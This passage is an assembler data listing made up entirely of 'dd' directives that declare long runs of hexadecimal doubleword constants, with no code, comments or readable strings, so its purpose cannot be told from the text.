0DD12B501h dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h, 7048FDCAh dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h, 0B513E67Dh dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h, 89B2EC5h dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h dd 31642F0h, 41EC1215h, 0C76A2300h, 0B4DA468Ch, 17C00019h dd 744A423Ah, 800A80Bh, 3E4C754Bh, 3D9B73h, 5D4E8CADh dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh dd 51702CC3h, 69AF000h, 0DE813EF4h, 1DE90002h, 29508E25h dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh, 0D87C0782h dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h dd 824998F5h, 8774A01h, 0D4637550h, 0C8D01871h, 1906002Bh dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h dd 2BAEC051h, 3C0FDF0h, 689F300h, 4C418CAFh, 42670075h dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h, 4E581E6Ch dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh, 56290098h dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h, 0AC13B27h dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h, 0F7F0167Fh dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h dd 530075DBh, 0CC88FF17h, 7E38E9E2h, 5E070C5Ah, 0B6A28304h dd 0DE171303h, 0F178FF10h, 2660660Bh, 0B0F00Ch, 25FA453Bh dd 5CF00D74h, 406C21Fh, 21A9DAC0h, 168BDFh, 50176655h dd 19458940h, 0B70FF200h, 33310308h, 0E94300CCh, 3A3B0A60h dd 741E3546h, 36000E67h, 261F0954h, 0A03F0095h, 4F665001h dd 0B008102h, 0A6F2B752h, 3032FA53h, 755E0D45h, 0A9076241h dd 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h, 270134F3h dd 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h, 0FBBB6001h dd 2481660Bh, 1980FF7Dh, 258A2976h, 0A00074F6h, 530DE1FFh dd 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh, 6A80803Fh dd 4E268D0Ah, 4F740008h, 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h dd 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh, 22FEC9B3h dd 0BE88565h, 3AFF450h, 7FF64269h, 20E70E32h, 3C65BE58h dd 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h, 0B0D47100h dd 8C9D4792h, 3CA4070Ch, 5090A303h, 83D5ECBDh, 0AC68501h dd 52C77853h, 0F854ECh, 50908603h, 4D07E924h, 83376400h dd 8A84AD2Ah, 91480543h, 0C09B124Ah, 30413201h, 0A8FEA973h dd 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch, 57004D82h dd 3C47E194h, 0CFDC21h, 44D88871h, 0EE39FEC7h, 1AE04A30h dd 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh, 0AA51F527h dd 4F42EDh, 0E31224A6h, 0F687477Ch, 10939504h, 7C8014BFh dd 740A25Ah, 0E802F49Dh, 0F5687791h, 0F856C0DBh, 0D31C25FEh dd 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h, 405D217Eh dd 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h, 60C48554h dd 0D031C4D4h, 873C7E1Bh, 4DAF8190h, 0EE41058h, 121760E4h dd 0BD90ABCh, 0B68F0882h, 3740EBA0h, 523FD655h, 344380A5h dd 0FC570DDBh, 867F00A8h, 104512B5h, 0CC03FA91h, 0CA73B817h dd 6BE000E2h, 1182DE4Ah, 55001F62h, 0A48A3E19h, 13399Fh dd 0B2EBFB54h, 9CB8C26Ch, 81D40938h, 2978064Fh, 58619E11h dd 0F3AFC8h, 0F7DC2074h, 4CFDE002h, 54112300h, 83D24222h dd 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h, 8EC7E0FBh dd 71F70EB4h, 85E02CF0h, 0E387831Ch, 500002F2h, 0FA16E98Ah dd 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h, 0A27D3Bh dd 631277Eh, 3C432Bh, 530C63A1h, 5D93CA24h, 0E01F1FE4h dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h dd 1876B3F6h, 4F07F400h dd 8A05C283h, 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh dd 0F1450B0h, 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h dd 0FAB04975h, 0D1C680h, 83740567h, 724FBA68h, 0F021D605h dd 0F780753Bh, 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h dd 0D241652Ah, 478100EFh, 17C5625h, 6800625Bh, 12F03918h dd 1DBDDA1Ch, 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh dd 9EC75281h, 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h dd 0FC1C400Bh, 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah dd 0F4CF286Eh, 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh dd 60553899h, 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h dd 0C88FC743h, 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h dd 4D786599h, 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh dd 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh dd 63760022h, 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h dd 1F86D71h, 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h dd 4980CDD8h, 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh dd 5513B2ECh, 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h dd 0CCB3DF01h, 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h dd 54B34B33h, 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh dd 71D3A009h, 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh dd 0C71C6300h, 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h dd 13B07E00h, 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h dd 7EFDDA92h, 90C916h, 0D302D088h, 49F3D69Dh, 18000574h dd 955B1C36h, 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h dd 2894200h, 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h dd 0FD45140h, 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h dd 1F5888FDh, 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh dd 0B948A2FFh, 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h dd 39EE0200h, 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h dd 3A00D845h, 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h dd 3C00E340h, 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h dd 4D7F0326h, 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h dd 6F2A8066h, 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h dd 8230014h, 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h dd 1BAC2040h, 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h dd 0A094C3C9h, 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h dd 0C415BB86h, 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh dd 0F1071EA8h, 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h dd 83E9D5BEh, 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah dd 48A0AC52h, 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h dd 2B8E2699h, 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h dd 0B2C4396h, 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh dd 0A1575A00h, 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h dd 127D600h, 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h dd 0B376871Dh, 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh dd 0B143A300h, 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h dd 81430400h, 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h dd 0D05C20F4h, 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h dd 7A000BFCh, 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h dd 3437BF1Fh, 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h dd 90011D45h, 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh dd 0FDC44BAFh, 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch dd 96F809A4h, 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h dd 0C6B055h, 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh dd 517D0332h, 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h dd 0A786007Bh, 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h dd 0F7E88AFBh, 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh dd 0E0DE9421h, 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh dd 4A210075h, 20622464h, 97EA433Ch, 18850400h, 0B2557329h dd 486A02F3h, 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h dd 2AE10010h, 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h dd 730E1F3Dh, 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h dd 5E9F8Eh, 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h dd 7B92004Fh, 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h dd 89853F42h, 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh dd 0EE4B609Bh, 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h dd 3C9FFB5Bh, 1107053h, 88E22A11h, 0D9182134h, 4C0DD851h dd 87493800h, 50A28C91h, 907515h, 8041FAD2h, 406AF633h dd 30FFE21Dh, 902D7580h, 0F66070Bh, 5A4D3881h, 78832400h dd 7400E03Ch, 82801E4Bh, 768F303h, 5615FC99h, 8108A023h dd 4500503Eh, 27414C6h, 38F6B572h, 3CF069FCh, 24006AF0h dd 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch, 5F1F0240h, 90136574h dd 72D9008Dh, 841464DBh, 0EB730C62h, 7839F602h, 6031B849h dd 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h, 525AB774h dd 0D5002367h, 8E037F86h, 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h dd 0D103DD33h, 7B84CF21h, 9C963B04h, 0E490E58Bh, 0C4C5700h dd 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh, 0AA406982h dd 900F4916h, 770A120h, 6B77880Ah, 0C689AC90h, 31FC020Eh dd 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h, 0B6F28AF1h dd 66182708h, 784BA077h, 89351209h, 440E0C34h, 0DA1C4275h dd 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h, 0B928C8ECh dd 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h, 16867799h dd 0B4C30330h, 5F547Dh, 50B9B3A7h, 33135CEAh, 0AF530100h dd 58AE9E35h, 28680FA0h, 5C60B55Fh, 50895294h, 59B18500h dd 8A0BD123h, 0D8800002h, 0A126758h, 42F05F2Eh, 0F0754905h dd 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h, 0E5957458h dd 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah, 78402E4Ch dd 6040729h, 0F44AF0A3h, 0BF00FE41h, 1D17BD82h, 0E6E3E80Bh dd 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h, 0AE933B3Ah dd 591A2675h, 0BA8100DDh, 3021C2Fh, 86EFD81Dh, 54971100h dd 3C3969Bh, 8A0A9BCh, 0D1D848EBh, 2A383988h, 16E6F91Bh dd 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh, 2F73820Fh dd 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh, 51B360E9h dd 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h, 13F270B5h dd 173EFE08h, 272F0039h, 0BAF7E07Eh, 893055FEh, 80093AF4h dd 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch, 6A513800h dd 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h, 1561EA0Ah dd 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah, 5E077562h dd 0F8CA28h, 48EFE842h, 0A0E0FF96h, 65E4C800h, 0DFBCBA95h dd 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h, 1A2643C6h dd 4EB0001h, 7893DD0Dh, 540022CCh, 2C085011h, 1E6D799Fh dd 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h, 0DE8CADh dd 258B5967h, 0CBEFB91h dd 5021C607h, 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h dd 0D5C5876Bh, 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh dd 10E87349h, 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh dd 0A8F355D3h, 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh dd 4F1A180h, 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h dd 5F2664A2h, 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h dd 30FC27Fh, 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h dd 0F64A05BCh, 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h dd 5A901E55h, 0EA484097h, 0CE223746h, 750058F4h, 196577EEh dd 514B011h, 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h dd 0EBE0176h, 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h dd 0AD775304h, 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh dd 0C715C663h, 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah dd 0DA0333EAh, 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh dd 1CE07567h, 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh dd 268DD83Bh, 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h dd 5C38591Eh, 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh dd 645A0A94h, 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh dd 0FEAA81C4h, 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h dd 0A032D32Eh, 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h dd 8D2B60FBh, 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh dd 0A6B1EB70h, 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh dd 6A138C23h, 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h dd 53222A75h, 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h dd 80D7B021h, 334CCD38h, 401100B1h, 742E120Ah, 94D80066h dd 0E0F42201h, 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h dd 0B2C9BF02h, 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h dd 0E0D3220Fh, 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h dd 4F9F6828h, 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h dd 29EC4B35h, 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh dd 7F319177h, 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h dd 0F6035FF8h, 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h dd 0A94210h, 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh dd 2FFB9E03h, 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h dd 6C12A5EEh, 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h dd 0ABC48688h, 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h dd 0B2BBFB92h, 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h dd 7D540AFDh, 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch dd 2CDF8900h, 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h dd 59F46A00h, 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh dd 0A0A11328h, 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h dd 7890326h, 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h dd 0DF29BF00h, 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h dd 64394C9Eh, 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh dd 48EE0Dh, 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h dd 4CE36837h, 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h dd 0C422B900h, 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh dd 49792AC0h, 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh dd 19074246h, 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh dd 1EE83724h, 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h dd 7CF04C9Ah, 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh dd 0C01C4950h, 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h dd 0BF69D852h, 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh dd 4518F99Dh, 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh dd 0DDD6F8E1h, 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h dd 86CA3E62h, 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh dd 9E008415h, 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h dd 0D22E4F00h, 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h dd 0C42A0800h, 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh dd 26E83DD2h, 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh dd 0E0E85A8Fh, 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h dd 4B7AD2B1h, 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh dd 80CE103Bh, 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h dd 0CA535026h, 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h dd 6A000AC8h, 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh dd 0BD5EBFAAh, 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h dd 0A06171Dh, 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h dd 65C31FBDh, 6581E542h, 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh dd 714FBh, 646885BDh, 162F8629h, 8AEAAC00h, 0E455121Ch dd 4A4800F7h, 278358E0h, 2B3B04EBh, 5F9E9F68h, 7D19F3C0h dd 0F05497h, 0B4517F52h, 38783644h, 324638h, 33D08B56h dd 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h, 42F29007h dd 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh, 7C75F7F0h dd 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h, 0FCE488D1h dd 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh, 3CA900EDh dd 0FD3E8Bh, 9A708845h, 0C94F943Ah, 1241520Eh, 0F4538024h dd 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h, 5C033A78h dd 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh, 0F16886E4h dd 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch, 301BAD96h dd 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h, 45EB3E70h dd 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h, 2F58107Ah dd 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah, 0C0428820h dd 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh, 0BF94B054h dd 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh, 0EFFC6C75h dd 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh, 792C63F8h dd 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh, 7986E34Fh dd 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh, 14B67582h dd 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h, 6BB453FEh dd 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h, 30B83AA2h dd 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h, 0EF6D099Bh dd 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch, 55FC4492h dd 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h, 0B0381ACEh dd 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h, 0CB51ACFCh dd 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh, 31F9802Dh dd 1CE3543h, 9422274h, 0D9192436h, 0E910D137h, 1C85E83Ah dd 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h, 4D88982Bh dd 8669680h, 553D4126h, 0EB3B9C4Bh, 39F98443h, 8AEA0715h dd 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h, 51760084h dd 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch, 0E106097h dd 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h, 0ABF656Eh dd 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h, 0F32D91Bh dd 79E005Ch, 830E731Eh, 8D3E0401h, 0B490F485h, 8074F83Fh dd 0DC8265BEh, 0EDB71069h dd 774BC0h, 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h dd 7507846h, 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh dd 61E9E0E5h, 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh dd 1CB82EF1h, 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h dd 0A5EE795Dh, 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h dd 0E800244Ch, 592556AFh, 12EB007h, 0C8471F8Ah, 0E44E4034h dd 49004423h, 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h dd 2ACAD555h, 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h dd 0BF366425h, 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh dd 0EB007534h, 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h dd 80CFAA00h, 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh dd 0C8D6ADB2h, 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h dd 0BFFE0156h, 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h dd 0C3F43CE9h, 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h dd 9BE842BBh, 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh dd 0D9008275h, 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h dd 5424D207h, 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h dd 9FAB7200h, 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h dd 89B62B00h, 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh dd 0A84ACE00h, 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh dd 0BC998EECh, 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h dd 5DADC815h, 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h dd 0FC0C8BA9h, 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h dd 3D8F6F11h, 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah dd 0DF05FE52h, 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh dd 22261993h, 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h dd 111F32E3h, 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh dd 4E00A471h, 832019DFh, 79935145h, 0C0394B13h, 9216B691h dd 60230400h, 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h dd 5FEB2CF9h, 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh dd 827C1CE8h, 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h dd 132C010Bh, 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h dd 0CC35C937h, 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h dd 42F75Dh, 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h dd 5F2400D5h, 39076010h, 50008402h, 56404D11h, 1E0A4218h dd 8069EB68h, 1032C765h, 481DF259h, 3FC10C50h, 9D423541h dd 54B5F0h, 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh dd 0ABE80041h, 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h dd 40487A40h, 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h dd 7FBF60Eh, 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h dd 0BF089916h, 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh dd 0B2002A69h, 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h dd 2032C175h, 6C013Eh, 29BCC951h, 78910868h, 3C960014h dd 850D2833h, 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h dd 5F13F516h, 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh dd 0B01A37B2h, 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h dd 296145E4h, 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h dd 84AE0E7h, 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h dd 88C59701h, 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh dd 3F407DDCh, 82804AEFh, 